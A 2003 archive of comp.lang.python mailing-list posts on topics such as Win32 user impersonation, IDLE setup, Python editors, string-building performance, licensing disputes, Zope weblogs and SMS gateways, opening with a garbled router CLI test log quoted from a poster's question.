^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$dest-ip 
subnet 22.12.23.44 subnetmask 255.255.255.255 n          
^H^H^H^H^H^H^H^H^H^Hexthop-ip^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$bnet 
22.12.23.44 subnetmask 255.255.255.255 nexthop-ip            
^H^H^H^H^H^H^H^H^H^H^H192.168.2^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$.23.44 
subnetmask 255.255.255.255 nexthop-ip 192.168.22           
^H^H^H^H^H^H^H^H^H^H^H.98 
vlani^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$netmask 
255.255.255.255 nexthop-ip 192.168.22.98 vlanid           
^H^H^H^H^H^H^H^H^H^H^H 992

Request timeout

--------------------------------------------------------------------------------


If I print the line on using python script it will look like below.



--->TestCase Command: add-route dest-ip subnet 22.12.23.44 subnetmask 
255.255.255.255 nexthop-ip 192.168.22.98 interface ppd0

iprouting> $netmask 255.255.255.255 nexthop-ip 192.168.22.98 interface ppd0



Request timeout



iprouting>



--->TestCase Command: add-route dest-ip subnet 22.12.23.44 subnetmask 
255.255.255.255 nexthop-ip 192.168.22.98 vlanid 992

iprouting> $netmask 255.255.255.255 nexthop-ip 192.168.22.98 vlanid 992



Request timeout

--------------------------------------------------------------------------------------

Regards 

Amol




From rupole at hotmail.com  Thu Jan 16 02:03:50 2003
From: rupole at hotmail.com (Roger Upole)
Date: Thu, 16 Jan 2003 02:03:50 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
References: <mailman.1042650398.19724.python-list@python.org>
Message-ID: <3e2650f8_5@corp-goliath.newsgroups.com>

The LogonUser works for me on Win2k.
According to the SDK docs, the calling process needs SE_TCB_NAME
and "in some cases" SE_CHANGE_NOTIFY_NAME.  You might want to try
giving yourself both of them before the call.
Also, the 'foo' user needs SE_INTERACTIVE_LOGON_NAME.
   HTH
          Roger

"Doug Glenn" <dglenn at charter.net> wrote in message
news:mailman.1042650398.19724.python-list at python.org...
> Greetings,
>
> I have run into a roadblock and I cannot figure it out :(
> A portion of the following code came from the Python
> cookbook. That code followed verbatim gives me a
> Exception: pywintypes.api_error (1314, 'LogonUser', 'A
> required privilege is not held by the client.'). Poking
> through mail lists gives me a temporary respite. This is
> the AdjustPriviledges() definition.  Then I had to go and
> discover what flags it was expecting. Using any of the
> flags below will result in None being returned, so it
> works... Just how can I use it with the below script? I
> get the error on the a.login() call.  What do I need to
> change to make this work?
>
> The scenario is running this as a normal user and it
> elevate the process priveledge to run a program for the
> user using Admin rights.  It is not allowing the login, so
> it skips the code to run the program.
>
> SE_CREATE_TOKEN_NAME              =
> "SeCreateTokenPrivilege"
> SE_ASSIGNPRIMARYTOKEN_NAME        =
> "SeAssignPrimaryTokenPrivilege"
> SE_LOCK_MEMORY_NAME               =
> "SeLockMemoryPrivilege"
> SE_INCREASE_QUOTA_NAME            =
> "SeIncreaseQuotaPrivilege"
> SE_UNSOLICITED_INPUT_NAME         =
> "SeUnsolicitedInputPrivilege"
> SE_MACHINE_ACCOUNT_NAME           =
> "SeMachineAccountPrivilege"
> SE_TCB_NAME                       = "SeTcbPrivilege"
> SE_SECURITY_NAME                  = "SeSecurityPrivilege"
> SE_TAKE_OWNERSHIP_NAME            =
> "SeTakeOwnershipPrivilege"
> SE_LOAD_DRIVER_NAME               =
> "SeLoadDriverPrivilege"
> SE_SYSTEM_PROFILE_NAME            =
> "SeSystemProfilePrivilege"
> SE_SYSTEMTIME_NAME                =
> "SeSystemtimePrivilege"
> SE_PROF_SINGLE_PROCESS_NAME       =
> "SeProfileSingleProcessPrivilege"
> SE_INC_BASE_PRIORITY_NAME         =
> "SeIncreaseBasePriorityPrivilege"
> SE_CREATE_PAGEFILE_NAME           =
> "SeCreatePagefilePrivilege"
> SE_CREATE_PERMANENT_NAME          =
> "SeCreatePermanentPrivilege"
> SE_BACKUP_NAME                    = "SeBackupPrivilege"
> SE_RESTORE_NAME                   = "SeRestorePrivilege"
> SE_SHUTDOWN_NAME                  = "SeShutdownPrivilege"
> SE_DEBUG_NAME                     = "SeDebugPrivilege"
> SE_AUDIT_NAME                     = "SeAuditPrivilege"
> SE_SYSTEM_ENVIRONMENT_NAME        =
> "SeSystemEnvironmentPrivilege"
> SE_CHANGE_NOTIFY_NAME             =
> "SeChangeNotifyPrivilege"
> SE_REMOTE_SHUTDOWN_NAME           =
> "SeRemoteShutdownPrivilege"
>
>
>
>
>
>
> import os
> import sys
> import win32security
> import win32con
> import win32api
> from ntsecuritycon import *
>
> program="sadmin.exe"
> #domain=os.getenv('COMPUTERNAME')
> domain=None
>
> def AdjustPrivilege(priv, enable = 1):
>      # Get the process token.
>      flags = TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
>      #flags= TOKEN_QUERY
>      htoken =
> win32security.OpenProcessToken(win32api.GetCurrentProcess(),
> flags)
>      # Get the ID for the privilege.
>      id = win32security.LookupPrivilegeValue(None, priv)
>      # Now obtain the privilege for this process.
>      # Create a list of the privileges to be added.
>      if enable:
>          newPrivileges = [(id, SE_PRIVILEGE_ENABLED)]
>      else:
>          newPrivileges = [(id, 0)]
>      # and make the adjustment.
>      win32security.AdjustTokenPrivileges(htoken, 0,
> newPrivileges)
>
>
>
> class Impersonate:
>
>      def __init__(self, login, password):
>          self.domain=domain
>          self.login=login
>          self.password=password
>      def logon(self):
>
self.handel=win32security.LogonUser(self.login,self.domain,self.password,win
32con.LOGON32_LOGON_INTERACTIVE,win32con.LOGON32_PROVIDER_DEFAULT)
>          win32security.ImpersonateLoggedOnUser(self.handel)
>      def logoff(self):
>          win32security.RevertToSelf() #terminates
> impersonation
>          self.handel.Close() #guarantees cleanup
>
>
> if __name__ =='__main__':
>      a=Impersonate('foo''bar')
>
>      try:
>          a.logon() #become the user
>          AdjustPrivilege(SE_SYSTEM_PROFILE_NAME)
>
>          try:
>              os.execvp(program)
>              print win32api.GetUserName() #show you're
> someone else
>          finally:
>              a.logoff() #return to normal
>      except:
>              print 'Exception:',sys.exc_type ,
> sys.exc_value
>




-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From sholden at holdenweb.com  Mon Jan  6 16:25:55 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Mon, 6 Jan 2003 16:25:55 -0500
Subject: Using Red Hat 8.0 and IDLE
References: <mailman.1041770949.15098.python-list@python.org>
Message-ID: <irmS9.24717$NB4.7341@FE05>

"Nadav Horesh" <nadavh at visionsense.com> wrote in message
news:mailman.1041770949.15098.python-list at python.org...
>    1.   Running IDLE: either use bash's alias like
>       alias idle=/usr/lib/python2.2/site-packages/idle/idle.py&
>       of just make a one-line script in the executable path (like
>       /usr/local/bin)
>    2. Changing fonts size: Edit config-unix.txt found in the IDLE's
>       directory.
>

Of course, for 1 there's always the option of creating a symbolic link to
the idle.py file in a directory that's already on your path (if you have
admin rights, but it in /usr/bin or /usr/local/bin and then everyone can get
to IDLE).

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From martin at v.loewis.de  Sun Jan 12 09:25:21 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 12 Jan 2003 15:25:21 +0100
Subject: Python for CGI is dead?
In-Reply-To: <cb035744.0301120614.3b19d223@posting.google.com>
References: <cb035744.0301120614.3b19d223@posting.google.com>
Message-ID: <3E217AD1.3090405@v.loewis.de>

Will Stuyvesant wrote:
> I am spending rather much time trying to build a project using CGI
> scripts written in Python.  But am I wasting my time?  I could not
> find much Python hosting, and none free (except a french one that I
> can not register into) for Python CGI scripts!  

You can easily run Python CGI scripts on SourceForge.net.

Regards,
Martin




From johan at contillion.com  Thu Jan  2 16:58:04 2003
From: johan at contillion.com (Johan)
Date: Thu, 02 Jan 2003 22:58:04 +0100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <x42R9.47$DR5.109160@news.uswest.net>
Message-ID: <pan.2003.01.02.21.58.04.232452@contillion.com>

On Thu, 02 Jan 2003 13:26:07 +0000, Kevin Altis wrote:

> Best is always relative. Just start grabbing editors listed at
> 
> http://www.python.org/editors/
> 
> and decide for yourself. If you already have vi(m) or Emacs leanings,
> primarily edit Python scripts as opposed to also using the editor for C
> or Java or email, work on other platforms sometimes, mostly mouse around
> instead of navigating via key sequences, etc. will all impact what is
> best for you.
> 

Thanks for that link :) Looks good...
I have now downloaded "Anjuta". Anyone have any experience with this
developement studio?

Hmm, I think Linux Format wrote an article about this editor last month?
(I will go home and check it out ;)).

Well, I will try this editor out the next few days... and see if it can
help me a little more :)

Regards,

Johan



From lac at strakt.com  Mon Jan 13 11:52:11 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 13 Jan 2003 17:52:11 +0100
Subject: slow loop? 
In-Reply-To: Message from bk@whack.org (Brian Kranson) 
   of "13 Jan 2003 08:42:34 PST." <1964c4d7.0301130842.2f693958@posting.google.com> 
References: <1964c4d7.0301130842.2f693958@posting.google.com> 
Message-ID: <200301131652.h0DGqBjL005432@ratthing-b246.strakt.com>

First optimization -- don't do  myString += character.  You copy the
string every time, and that slows down things a lot.  Instead, just
append the chars to a list and .join them, once, when you are done

Laura Creighton

> Is there a way I can make this small script any faster?  The file it
> reads in used to be only about a 100 lines and now it is well over
> 2000.  It takes about 14 seconds to run it on my PentiumII.  Thanks in
> advance - Bk
> 
> import time
> startTime=time.time()
> myList=[]
> finalList=[]
> myString=''
> file=open('Export.txt','r')
> lines=file.readlines()
> for line in lines:
>         for character in line:
>                 if character == '"':
>                         None
>                 elif character == ',' or character == '\n':
>                         myList.append(myString)
>                         myString=''
>                 else:
>                         myString += character
>         finalList.append(myList)
>         myList=[]
> endTime=time.time()
> print endTime-startTime
> 
> 
> Here are two lines from Export.txt (the first line ends with "NONE" -
> google and/or your browser might add some extra end of line
> characthers - this sample Export.txt should only have two lines)
> 
> "IDNUMBER","VRNUMBER","LASTNAME","FIRSTNAME","MAILNAME","SALUTATION","ADDRESS1","ADDRESS2","ADD
> RESS3","CITY","STATE","ZIP","COUNTY","CONGRESS","SENATEDIST","HOUSEDIST","RECSTATUS","REGISTER"
> ,"CARRT","HPHONE","WPHONE","FPHONE","APHONE","EMPLOYER","OCCUPATION","BIRTHDATE","CONSTITUENTTY
> PE","ORIGIN","AFFILIATION","SEX","PRECINCT","HOMESOUND","UPDATEDATE","FAMILY","CONTEXIST","EXPE
> XIST","VOTEEXIST","N
> TEEXIST","VOLEXIST","VIPEXIST","CASEEXIST","REMIND","BILLEXIST","WFAX_PHONE","CAR_PHONE","E_MAI
> L","PAGER","MAIL_WHERE","CONTACT","AWARD_TYPE","AWARD_DATE","ELIGIBLE","JOIN_DATE","PAY_GRP","P
> AY_AMOUNT","WADDRESS1","WADDRESS2","WADDRESS3","WCITY","WSTATE","WZIP","WCARRT","MADDRESS1","MA
> DDRESS2","MADDRESS3","MCITY","MSTATE","MZIP","MCARRT","DADDRESS1","DADDRESS2","DADDRESS3","DCIT
> Y","DSTATE","DZIP","
> CARRT","HOUSEHOLDMAILNAME","HOUSEHOLDSALUTATION","TOTALCONTRIBUTIONS","LARGESTCONTRIBUTION","AV
> ERAGECONTRIBUTION","LASTCONTRIBUTION","LASTCONTRIBUTIONDATE","YEAR1TOTAL","YEAR2TOTAL","CONTRIB
> UTIONSYEAR1","CONTRIBUTIONSYEAR2","NONE"
> "63","","Last","First","Ms. First L. Last","Sal","220 Street
> Blvd.","","","Oregon","OH","43616","Lucas","9","","","1","  /  /   
> ","","","","","","","","12/30/1899","Individual","","","Female","","HOME","07/13/1999","","Y","
> ","","","","","","","","","","","","H","","","
>  /  /    ","","  /  /    ","","0","220 Street
> Blvd.","","","Oregon","OH","43616","","220 Street
> Blvd.","","","Oregon","OH","43616","","220 Street
> Blvd.","","","Oregon","OH","43616-","","Ms. Frist L.
> Last","First","25.00","25.00","25.00","25.00","01/06/1999","0.00","0.00","0","0","none"
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From ajs at ix.netcom.com  Tue Jan 21 08:34:42 2003
From: ajs at ix.netcom.com (Arthur)
Date: Tue, 21 Jan 2003 08:34:42 -0500
Subject: license
Message-ID: <00aa01c2c151$dba32890$63a09840@Arts>

>BTW, the package is apparently VPython, based on the conversation on
>edu-sig. It seems to me that making an advisory along with the patch >would
be a much more appropriate behavior.

Yes, as I said on edu-sig, I understand that is my only reasonable option.
But its a bigger job than the 4 key strokes, in my hands.  Because in my
hands I will attempt to make it fully comply with sound practice for the
distribution of a Python 3rd party module.  The overwrite problem issue I
focus on is the one that makes the contribution unlivable.  There are a many
other issues that make it a bad non-compliant distribution.

A community of people working reasonably cooperatively in an effort toward
exploring the potential of Python in education was one of the things I
thought and hoped CP4E would be about.

But as I say repeated on edu-sig, I have come to understand myself to be in
fact a fish quite out of water in this world of free software and whatever
it is the "community" in the Python community represents.

Expressing the wish, out loud, that someone else who is taking advantage of
the community's productivity might act a bit more reasonably and less
selfishly as a community member is seen by (at least some) of the community
as an assault on the community.  That wish and hope is an assault?

Its too complex for my simple mind.

My continuing alienation from the community, frankly, is one of the things
that makes me resent having to take on the project of bringing the VPython
project into compliance with what are, I think, very reasonable community
expectations as to how a 3rd party module should install and behave.

Super ironic, too me, that the reaction should be "shut up,and  kill a few
more weekends for the good of the cause".

Of course, the other solution is to overwrite his help file with my help
file.  That would indeed be 4 keystrokes.  And than I could be the guy
sitting on ten thousand lines of code, driving my toy.

Unfortunately, thats not who I am.

And please.

What advisory do you have in mind.

Art








From cpbotha at i_triple_e.org  Sun Jan 26 08:39:29 2003
From: cpbotha at i_triple_e.org (Charl P. Botha)
Date: Sun, 26 Jan 2003 13:39:29 +0000 (UTC)
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com> <3e32ce04_4@corp.newsgroups.com> <slrnb3738d.boo.davecook@localhost.localdomain>
Message-ID: <b10oeh$mlg$1@news.tudelft.nl>

In article <slrnb3738d.boo.davecook at localhost.localdomain>, David M. Cook wrote:
> I started out with pico but eventually outgrew it and moved to JED for
> routine editing tasks.  JED is lightweight and has a pretty good Python
> mode, though its syntax coloring algorithm gets confused by a single quote
> inside triple quotes.  Also, if you use it in a gnome-terminal on a recent
> Linux distro with GNOME 2 you get anti-aliasing for free.  Fonts look really
> nice.  

FYI JED 0.99.16 onwards includes my xft anti-aliasing patches, so XJED can do
anti-aliasing all by itself without the help of any desktop environment.
See the included "xrenderfont.txt" documentation file.

> However, I use XEmacs for Python hacking because of the excellent Python
> mode, version control support, recent files menu, etc.  I just wish it
> supported XFS (and thus anti-aliasing).

I looked into emacs code a while back to see if I could hack XFT support
into that as well, but it's a totally different kettle of fish.  It's
probably due to its overall complexity, but the font rendering code is all
over the place.

-- 
charl p. botha http://cpbotha.net/ http://visualisation.tudelft.nl/



From just at letterror.com  Mon Jan  6 14:45:39 2003
From: just at letterror.com (Just van Rossum)
Date: Mon,  6 Jan 2003 20:45:39 +0100
Subject: Distributing Python apps
In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDEA6@admin56.narex.com>
Message-ID: <r01050400-1022-74B1E79221AF11D7A7C4003065D5E7E4@[10.0.0.4]>

Bjorn Pettersen wrote:

[modulefinder.py]
> Coolness :-) Let's see someone do that in C++ <grin>. What kind of
> documentation are you looking for? (end user, packager developer, doc
> strings...)

Doc strings would be great, but a (probably relatively brief) chapter
for the std library documentation is probably the biggest chunk of work
that needs to be done. It's a very old module, so the API is rather,
erm, weird... It's simple to use for simple cases, but it gets a little
awkward if you want to feed it modules manually. If you think you can
contribute anything that would be fantastic!

Just




From spam at magnetic-ink.dk  Tue Jan 28 14:16:31 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Tue, 28 Jan 2003 19:16:31 +0000 (UTC)
Subject: python weblog apps?
References: <mailman.1043712589.29180.python-list@python.org> <0db0c51b-a544-4137-a111-160834f66e35@news.szn.dk>
Message-ID: <4f499956-e037-4f04-a3c1-26a54482fda8@news.szn.dk>

I wrote:

> The SilvaNews extension to Silva could make a fairly decent
> weblog with a builtin search engine.  Requires Zope.

Other Zope based blogging tools are PA Blog?, BlogFace? and BlogDot?.


  // Klaus

 ?) http://www.zope.org/Members/rev_matt_y/PA_Blog
 ?) http://www.zope.org/Members/karl/BlogFace/BlogFace/BlogFace
 ?) http://www.zope.org/Members/zorton/BlogDot
-- 
 ><> 	vandag, m?re, altyd saam



From knightsofspamalot-factotum at gvdnet.dk  Wed Jan  8 16:18:29 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Wed, 08 Jan 2003 22:18:29 +0100
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com>
 <52719db8.0301071948.71364a03@posting.google.com>
 <mailman.1042039696.8976.python-list@python.org>
 <Zd0T9.162$Dq.12687@newsread2.prod.itd.earthlink.net>
Message-ID: <87of6r8hne.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Terry" == Terry Hancock <hancock at anansispaceworks.com> writes:
Terry> I think it's "scripting" if it relies heavily on external
Terry> applications, which you call more or less directly.

I once saw a pragmatic definition to the effect that it's scripting if
it's practical to write a one-liner (or equivalent) that'll solve a
useful ad hoc problem.

The way most people use the word 'script' seems to indicate that it
should be a small program that solves a small problem (not to say that
it's of little value). Contrast this to 'application', which indicates
larger size.

It tends to be more difficult to define what a 'scripting language'
is, and I'm not even sure how much sense that term makes, even though
I occasionally use the word myself. In my experience, when people talk
about scripting languages they are thinking of one or both of two
properties of such languages: 1) that they make writing scripts easy
than other languages and 2) that they make writing large applications
more difficult than in other languages.

These are purely pragmatic 'definitions'. I'm not pretending that
they're even very clever or useful.

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4claUACgkQYu1fMmOQldUloACgk6pmx2KRK3ROBj/8iIuPhYK7
E8MAn0cB1A6Er+GyCKUFQU6AKMYUYCp5
=dNyJ
-----END PGP SIGNATURE-----



From hancock at anansispaceworks.com  Sun Jan 19 17:52:59 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Sun, 19 Jan 2003 22:52:59 GMT
Subject: license question
References: <mailman.1042997135.32344.python-list@python.org>
Message-ID: <f%FW9.1474$Sv3.186915@newsread1.prod.itd.earthlink.net>

Arthur wrote:
> Would the practice of silently overwriting a  file that is part of the
> standard Python distribution in any way constitute a violation of the
> Python license.

No. It definitely is not.  And trying to go after another developer because 
you don't like the way their package installs is itself, "at the minimum, 
ill-mannered".  ;-)

If you don't like it, don't use it. You already recommended a change to the 
developer, that's about all you can do. Or you can:

1 Recommend that users not use the 3rd party package.

2 Recommend that they apply a patch to it (which you provide in your 
distribution).

3 Fork the 3rd party package and maintain it yourself with the change.

4 Figure out how to live with the way the package works now, and write a 
work-around into your code.

I'd probably opt for #2 or possibly #4, based on the small amount of 
information you've posted about the problem.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From bokr at oz.net  Mon Jan 20 05:07:35 2003
From: bokr at oz.net (Bengt Richter)
Date: 20 Jan 2003 10:07:35 GMT
Subject: sys.stdin and re.search
References: <pan.2003.01.20.06.24.23.588538@illumid.com>
Message-ID: <b0ghp7$7d8$0@216.39.172.122>

On Mon, 20 Jan 2003 00:24:24 -0600, "Jimmie Fulton" <jimmie-dated-1043474834.7879b0 at illumid.com> wrote:

>I'm unable to get any matches with re in a loop when the file I'm looping
>over is stdin.  When I use open(), it works fine.  Any hints?
>
First, what system and version are you using?
How is the data getting to stdin? Are you piping it from another app? Are you
running either with pythonwin? Are you using os.system or os.popen to launch stuff?

E.g., on some versions of windows, if you run the script without
explicitly running python (i.e., relying on windows file extension association),
piping won't work, nor redirecting i/o.

Regards,
Bengt Richter



From xunil at kc-rr.com  Mon Jan 20 20:41:36 2003
From: xunil at kc-rr.com (Sinister Midget)
Date: Mon, 20 Jan 2003 19:41:36 -0600
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <9kstf-b1m.ln1@elstinko.registrado.network.es> <200120031316589777%dipthotdipthot@yahoo.yahoo.com.com>
Message-ID: <g3luf-eoq.ln1@elstinko.registrado.network.es>

On Mon, 20 Jan 2003 21:17:01 GMT, dipthotdipthot at yahoo.yahoo.com.com drooled and scribbled:
> In article <9kstf-b1m.ln1 at elstinko.registrado.network.es>, Sinister
> Midget <xunil at kc-rr.com> wrote:
> 
>> On Mon, 20 Jan 2003 19:11:40 +0700, wichelman at hotmail.com drooled and
>> scribbled:
>> 
>> 
>> 
>> 
>> 
>> And good ones, too!
> 
> Yeah, but
> 
> 
> 
> totally sucks ass.

I only messed with it once. I didn't think it was so bad, but I might
not have used it enough to get a valid opinion.

My favorite one was



-- 
Whip me, Beat me, Windows Me(TM)



From none  Tue Jan 21 00:58:00 2003
From: none (Mike Thompson)
Date: Tue, 21 Jan 2003 16:58:00 +1100
Subject: ZEO/wxPython
Message-ID: <3e2ce16e$0$7816$afc38c87@news.optusnet.com.au>

I'm interested in writing a ZEO client using wxPython. Is this possible?

Would their event loops have to be unified?

Any pointers gratefully accepted. I can find nothing on this despite vigious
googling.

Many Thanks,
Mike.






From nadavh at visionsense.com  Sun Jan 19 01:56:06 2003
From: nadavh at visionsense.com (Nadav Horesh)
Date: Sun, 19 Jan 2003 08:56:06 +0200
Subject: Real inner-product in python
Message-ID: <3E2A4C06.7030202@visionsense.com>

Is there a package/routine that implements inner-product for arrays with 
rank>2?
I read in an old thread (1995) a thought to implement an APL-like dot 
(.) operator  in Numeric package (add.inner.subtract <=> +.-) does 
anyone know about an implementation of  the idea?

  Nadav.





From cgjunkaddr at attbi.com  Thu Jan 23 01:10:38 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Thu, 23 Jan 2003 06:10:38 GMT
Subject: ANN: kobra - a .NET wrapper library for Python
Message-ID: <yHLX9.7432$AV4.1766@sccrnsc01>

Hi

I have written a .NET wrapper library using Managed C++.
Still under development, but still, usable in many ways.

http://www.gadgil.net/DotNetWrapperForPython.htm

Chetan Gadgil





From idont at think.so  Mon Jan 20 16:29:31 2003
From: idont at think.so (mudpuppy)
Date: Mon, 20 Jan 2003 21:29:31 GMT
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <9kstf-b1m.ln1@elstinko.registrado.network.es> <200120031316589777%dipthotdipthot@yahoo.yahoo.com.com>
Message-ID: <%SZW9.1155$d96.38976730@newssvr21.news.prodigy.com>

Hey, I liked that game

"GlennGlenn" <dipthotdipthot at yahoo.yahoo.com.com> wrote in message
news:200120031316589777%dipthotdipthot at yahoo.yahoo.com.com...
> In article <9kstf-b1m.ln1 at elstinko.registrado.network.es>, Sinister
> Midget <xunil at kc-rr.com> wrote:
>
> > On Mon, 20 Jan 2003 19:11:40 +0700, wichelman at hotmail.com drooled and
> > scribbled:
> >
> >
> >
> >
> >
> > And good ones, too!
>
> Yeah, but
>
>
>
> totally sucks ass.
>
> --
> *GlennGlenn  --  Lost & seeing double somewhere in Hollywood, CA --
aa#825*
> The Earth is degenerating today. Bribery and corruption abound. Children
no
> longer obey their parents, every man wants to write a book, and it is
evident
> that the end of the world is fast approaching.
>                                                   < Assyrian tablet, c.
2800 BC





From martin at v.loewis.de  Wed Jan  8 04:47:57 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 08 Jan 2003 10:47:57 +0100
Subject: a new PEP?
References: <c09aca51.0301041334.f4c81d5@posting.google.com> <m3bs2w1sie.fsf@mira.informatik.hu-berlin.de> <c09aca51.0301071334.311a4374@posting.google.com>
Message-ID: <m3n0mcnfaq.fsf@mira.informatik.hu-berlin.de>

vm_usenet at yahoo.com (vm_usenet) writes:

> > With the current implementation strategy, this is not necessarily a
> > problem. The existing extension modules should cope with it just fine;
> > third-party (i.e. your) extension modules don't work correctly, they
> > need to be fixed.
> 
> This is not correct - trying it out on various schemas failed because
> global variables are in conflict with each other when true
> multithreading is introduced.

Then you missed the scheme that works. Python can well accommodate
multiple threads simultaneously, and still have global variables all
over the place. The Global Interpreter Lock (GIL) safely protects
access to these variables. If you had been running into problems
because of this, you have failed to acquire the thread when you should
have done so.

Regards,
Martin




From Mongryong at sympatico.ca  Thu Jan 23 21:34:07 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 23 Jan 2003 21:34:07 -0500
Subject: Using Java from Python
Message-ID: <1043375647.578.89.camel@refugeeMedia>

Is it possible to write a Python 'c' module that executes Java code? Or,
is there a way to integrate Jython with Python without having to spawn a
new process?







From tismer at tismer.com  Sun Jan  5 18:02:08 2003
From: tismer at tismer.com (Christian Tismer)
Date: Mon, 06 Jan 2003 00:02:08 +0100
Subject: Function calls and reflection
References: <67446a0a.0301051338.147661dc@posting.google.com> <ava9me$dgllu$1@ID-114079.news.dfncis.de>
Message-ID: <3E18B970.2080904@tismer.com>

Jeremy Yallop wrote:
> * Boethius
> | Can a function tell which function / method called it?
> 
> Yes.
> 
> Here's one way:
> 
>   from inspect import currentframe

Note that for simple current frame access, you don't need
to import inspect.
Inspect's currentframe, for Python 2.x, is identical
to sys._getframe.

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From lazypointer at yahoo.com  Tue Jan 21 22:45:38 2003
From: lazypointer at yahoo.com (Byron Morgan)
Date: Wed, 22 Jan 2003 03:45:38 GMT
Subject: Sending text messages to mobiles
References: <85c78d18.0301211528.19e6cf09@posting.google.com> <mailman.1043192326.18030.python-list@python.org>
Message-ID: <CtoX9.1565$v81.507@newssvr19.news.prodigy.com>

Thanks Richard,

I did originally look in that direction, but everything I found connected
only to European or Asian services. I'll dig a little further.

"Richard Jones" <rjones at ekit-inc.com> wrote in message
news:mailman.1043192326.18030.python-list at python.org...
> On Wed, 22 Jan 2003 10:28 am, Byron Morgan wrote:
> > I am a Python newbie, building a Python app that monitors live data,
> > sending event-driven notifications to cellphones, pagers, email,
> > instant message clients. I have found and used Py-TOC, a clean
> > implementation of AOL's AIM services.
> >
> > My Question:
> > Has anyone done an interface to Yahoo! Messenger? I am particularly
> > interested because Yahoo! provides an easy cellular text messaging
> > gateway.
>
> There are plenty of sms gateways out there other than yahoo messenger.
Most
> (if not all) support a simple HTTPS system where you make a single HTTPS
GET
> request like:
>
>     data = urllib.urlencode({'userid': 'blah', 'password': 'sekrit',
>         'phone': mobile, 'message': message})
>     response = urllib2.urlopen('https://provider.com/send.cgi', data)
>
> Yes, that's all there is to it (assuming you've signed up with the
provider
> and bought some credits ;)
>
> A google search for "sms messaging gateway" will provide plenty of
providers
> to choose from. Things to look for are the cost per message and how they
> handle (and inform you of) error responses. You may also be interested in
> whether they provide a callback system from handset delivery confirmation.
Up
> to you.
>
>
>     Richard
>
>





From max at alcyone.com  Fri Jan 10 22:13:57 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 10 Jan 2003 19:13:57 -0800
Subject: [Python-Dev] [ann] Minimal Python project
References: <mailman.1042236801.13789.python-list@python.org>
Message-ID: <3E1F8BF5.BAA759F7@alcyone.com>

David LeBlanc wrote:

> I was thinking about something along these lines but with a different
> slant:
> an "essential" python that's stripped way down and that could be
> ROM-able.
> In the same way that Java is used in the Sharp Zarius, I think it
> would be
> way cool to have an os/python cored PDA. I wonder if it could be done
> in
> 16mb or less, 8mb being the next logical number...

Right, my immediate thought for the utility of such a project would be
getting a functioning Python on extremely stripped down, bare-bones, or
embedded systems.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I sleep and dream that life is / All beauty
\__/ Lamya
    WebVal / http://www.alcyone.com/pyos/webval/
 URL scanner, maintainer, and validator in Python.



From djc at object-craft.com.au  Fri Jan 24 08:51:23 2003
From: djc at object-craft.com.au (Dave Cole)
Date: 25 Jan 2003 00:51:23 +1100
Subject: Error handling when embedding python...
